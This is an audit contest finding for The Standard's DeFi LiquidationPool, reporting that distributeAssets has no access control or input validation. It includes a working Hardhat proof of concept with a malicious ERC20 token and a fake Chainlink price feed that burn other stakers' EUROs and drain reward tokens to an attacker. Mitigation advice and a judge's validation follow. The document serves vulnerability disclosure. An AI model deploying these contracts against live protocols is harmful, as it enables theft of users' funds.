The Standard

The Standard
DeFiHardhat
20,000 USDC
View results
Submission Details
Severity: high
Valid

`distributeAssets` has no input validation nor access control which can lead to loss of funds

Summary

LiquidationPool::distributeAssets does not have input validation nor access control. An attacker can pass any parameters, that mean he can set any token.clAddr => any latestRoundData(), any token.addr, token.dec, etc.

Vulnerability Details

It opens several attack vectors, one of them is burning all staked euros. Another one is to set unlimited rewards for any token. Both of them can be seen in PoC.

  1. Attacker deploy malicious Chainlink.AggregatorV3Interface that returns big latestRoundData for victims and 0 for the attacker (see PoC)

  2. Attacker deploy malicious ERC20 that return true on transferFrom

  3. Attacker calls distributeAssets with an asset set to:

    1. symbol: 'USDC' (or any other supported token that the attacker wants to use as a reward to themsel)

    2. addr: malicious ERC20 address

    3. dec: doesn't matter, can be 18

    4. clAddr: malicious Chainlink.AggregatorV3Interface

    5. clDec: doesn't matter, can be 18

    6. amount:

      • the attacker will receive asset.amount * _positionStake / stakeTotal

      • claimRewards will revert on transfer if _rewardAmount is > balanceOf(LiquidationPool)

      • so they need to set a value < balanceOf(LiquidationPool)

  4. This call will burn all EUROs of other holders and give the attacker desired rewards

  5. Attacker can repeat the attack for another asset

  6. Now the attacker can withdraw any rewards from LiquidationPool

Impact

All staked EUROs except ones of the attacker are burned.
The attacker withdraw all the ITokenManager(tokenManager).getAcceptedTokens() from the LiquidationPool.

Proof of Concept

Put solidity files in contracts/utils/. Put the js file in test

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract MaliciousERC20 {
uint public calledTimes;
function transferFrom(address from, address to, uint256 amount) public returns (bool) {
calledTimes++;
return true;
}
}
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.17;
import "./MaliciousERC20.sol";
contract MaliciousChainlink {
MaliciousERC20 immutable maliciousERC20;
constructor(MaliciousERC20 _maliciousERC20){
maliciousERC20 = _maliciousERC20;
}
function latestRoundData() external view
returns (uint80 roundId, int256 answer,uint256, uint256 updatedAt,uint80) {
// We can't set a counter here because it's a view function, but we can easily count
// in ERC20 because they both called for every holder+asset pair
// starts from 0, because it's called after `latestRoundData`
uint calledTimes = maliciousERC20.calledTimes();
if (calledTimes == 4 || calledTimes == 6) {
// A call for the attacker
// In my attack example we have the following calls [v,v,v,v,A,v], then [A]
// v - victim, A - attacker
// For the second asset all the EUROs except the attacker are burned
// LiquidationPool::stake will return non-zero only for the attacker
// That's why for the second asset (6th call) we want to return 0
// We want costInEuros to be as small as possible to get as much assets as possible
answer = 0;
} else {
// A call for a victim
// Very big, but not big enought to overflow `costInEuros` in `distributeAssets`
// We want to burn as much as possible euros here, because they belong to victims
answer = type(int256).max / 1e21;
}
}
}
// @ts-check
const { expect } = require("chai");
const { ethers, network } = require("hardhat");
const { BigNumber } = ethers;
const { mockTokenManager, DEFAULT_COLLATERAL_RATE, TOKEN_ID, rewardAmountForAsset, DAY, fastForward, POOL_FEE_PERCENTAGE, DEFAULT_EUR_USD_PRICE } = require("./common");
describe('LiquidationPool', async () => {
let user1, user2, user3, Protocol, LiquidationPoolManager, LiquidationPool, MockSmartVaultManager,
ERC20MockFactory, TST, EUROs;
let user4, user5, attacker, user6;
let TokenManager;
beforeEach(async () => {
[ user1, user2, user3, Protocol, user4, user5, attacker, user6 ] = await ethers.getSigners();
ERC20MockFactory = await ethers.getContractFactory('ERC20Mock');
TST = await ERC20MockFactory.deploy('The Standard Token', 'TST', 18);
EUROs = await (await ethers.getContractFactory('EUROsMock')).deploy();
const EurUsd = await (await ethers.getContractFactory('ChainlinkMock')).deploy('EUR / USD');
await EurUsd.setPrice(DEFAULT_EUR_USD_PRICE);
({ TokenManager } = await mockTokenManager());
MockSmartVaultManager = await (await ethers.getContractFactory('MockSmartVaultManager')).deploy(DEFAULT_COLLATERAL_RATE, TokenManager.address);
LiquidationPoolManager = await (await ethers.getContractFactory('LiquidationPoolManager')).deploy(
TST.address, EUROs.address, MockSmartVaultManager.address, EurUsd.address, Protocol.address, POOL_FEE_PERCENTAGE
);
LiquidationPool = await ethers.getContractAt('LiquidationPool', await LiquidationPoolManager.pool());
await EUROs.grantRole(await EUROs.BURNER_ROLE(), LiquidationPool.address)
});
afterEach(async () => {
await network.provider.send("hardhat_reset")
});
it('distributeAssets can burn everyones euros', async () => {
/* Arrange */
// Deposit euros from different accounts
const euroAndTSTBalanceOfEveryUser = ethers.utils.parseEther('1000');
// user1 is a deployer, so I don't use it
const usersPlusAttacker = [user2, user3, user4, user5, attacker, user6];
// Deposit from every user 1000 euros & 1000 TST
const increasePosition = async user => {
await EUROs.mint(user.address, euroAndTSTBalanceOfEveryUser);
await TST.mint(user.address, euroAndTSTBalanceOfEveryUser);
await EUROs.connect(user).approve(LiquidationPool.address, euroAndTSTBalanceOfEveryUser);
await TST.connect(user).approve(LiquidationPool.address, euroAndTSTBalanceOfEveryUser);
await LiquidationPool.connect(user)
.increasePosition(euroAndTSTBalanceOfEveryUser, euroAndTSTBalanceOfEveryUser);
}
await Promise.all(usersPlusAttacker.map(increasePosition));
await fastForward(DAY);
// trigger consolidatePendingStakes
await LiquidationPool.connect(user2).decreasePosition(0, 0);
// Check the state before
const getPosition = ({address}) => LiquidationPool.position(address);
const getEur = ({_position: {EUROs}}) => EUROs;
const positionsBefore = await Promise.all(usersPlusAttacker.map(getPosition));
const balancesBefore = positionsBefore.map(getEur);
const rewardsUSDCBefore = positionsBefore.map(getUSDCRewards);
console.log('balancesBefore', balancesBefore);
console.log('rewardUSDCBefore', rewardsUSDCBefore);
expect(rewardsUSDCBefore).to.eql(
// [0,0,0,0,0,0]
Array(usersPlusAttacker.length).fill(BigNumber.from(0))
);
/* Attack to burn EUROs and get rewards in the first asset */
// deploy poisoned contracts
const MaliciousERC20 = await (await ethers.getContractFactory('MaliciousERC20')).deploy();
const MaliciousChainlink = await (await ethers.getContractFactory('MaliciousChainlink'))
.deploy( MaliciousERC20.address );
const amount = ethers.utils.parseUnits("600", 18); // 600 tokens, for both assets
const posionedUSDC = await createPosionedAsset(
MaliciousERC20.address, MaliciousChainlink.address, 'USDC', amount
);
await LiquidationPool.connect(attacker).distributeAssets( [posionedUSDC], 1, 1, );
const positionsAfter = await Promise.all(usersPlusAttacker.map(getPosition));
const balancesAfter = positionsAfter.map(getEur);
const rewardsUSDCAfter = positionsAfter.map(getUSDCRewards);
console.log('balancesAfter', balancesAfter);
console.log('rewardsUSDCAfter', rewardsUSDCAfter);
expect(balancesAfter).to.eql([
BigNumber.from(0),
BigNumber.from(0),
BigNumber.from(0),
BigNumber.from(0),
euroAndTSTBalanceOfEveryUser, // attacker
BigNumber.from(0),
]);
// poisoned token amount that will be given to an attacker = asset.amount * _positionStake / stakeTotal
const expectedUSDCAttackerRewards = amount.div(BigNumber.from(usersPlusAttacker.length));
expect(rewardsUSDCAfter).to.eql([
BigNumber.from(0),
BigNumber.from(0),
BigNumber.from(0),
BigNumber.from(0),
expectedUSDCAttackerRewards,
BigNumber.from(0),
]);
/* Attack to get rewards in the second asset */
const posionedWBTC = await createPosionedAsset(
MaliciousERC20.address, MaliciousChainlink.address, 'WBTC', amount
);
await LiquidationPool.connect(attacker).distributeAssets( [posionedWBTC], 1, 1, );
const positionsAfter2Tx = await Promise.all(usersPlusAttacker.map(getPosition));
const rewardsWBTCAfter = positionsAfter2Tx.map(getWBTCRewards);
console.log('rewardsWBTCAfter', rewardsWBTCAfter);
expect(rewardsWBTCAfter).to.eql([
BigNumber.from(0),
BigNumber.from(0),
BigNumber.from(0),
BigNumber.from(0),
amount,
BigNumber.from(0),
]);
/* Withdraw the rewards */
// Let's assume LiquidationPool has this assets
const usdcAddress = (await TokenManager.getToken(ethers.utils.formatBytes32String('USDC'))).addr;
const wbtcAddress = (await TokenManager.getToken(ethers.utils.formatBytes32String('WBTC'))).addr;
const USDC = await ethers.getContractAt("ERC20Mock", usdcAddress);
const WBTC = await ethers.getContractAt("ERC20Mock", wbtcAddress);
const tokensToMintToLiquidationPool = ethers.utils.parseEther('1000');
await USDC.mint(LiquidationPool.address, tokensToMintToLiquidationPool);
await WBTC.mint(LiquidationPool.address, tokensToMintToLiquidationPool);
await LiquidationPool.connect(attacker).claimRewards();
expect(await USDC.balanceOf(attacker.address)).to.eq(expectedUSDCAttackerRewards);
expect(await WBTC.balanceOf(attacker.address)).to.eq(amount);
/* Result: liquidation pool is drained, all holders' euros are burned */
});
});
function getUSDCRewards(position) {
return getRewardsIn(position, 'USDC');
}
function getWBTCRewards(position) {
return getRewardsIn(position, 'WBTC');
}
function getRewardsIn(position, tokenSymbol) {
const toHumanReadable = ({symbol, amount}) => ({
symbol: ethers.utils.parseBytes32String(symbol),
amount
});
const isRequestedSymbol = ({symbol}) => symbol === tokenSymbol;
return position._rewards
.map(toHumanReadable)
.find(isRequestedSymbol)
.amount
;
}
async function createPosionedAsset(addr, clAddr, symbol, amount) {
const poisonedTokenSymbol = ethers.utils.formatBytes32String(symbol);
const poisonedDecimals = 18;
const poisonedClDecimals = 18;
const poisonedToken = {
symbol: poisonedTokenSymbol,
addr,
dec: poisonedDecimals,
clAddr,
clDec: poisonedClDecimals
};
return {
token: poisonedToken,
amount
};
}

Tools Used

Manual review

Recommended Mitigation Steps

Consider setting access control to distributeAssets, possibly onlyManager.
Consider validating assets array and other parameters.
Consider requesting _collateralRate and _hundredPC from the LiquidationPoolManager and SmartVaultManagerV5

Updates

Lead Judging Commences

hrishibhat Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

distributeAssets-issue

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.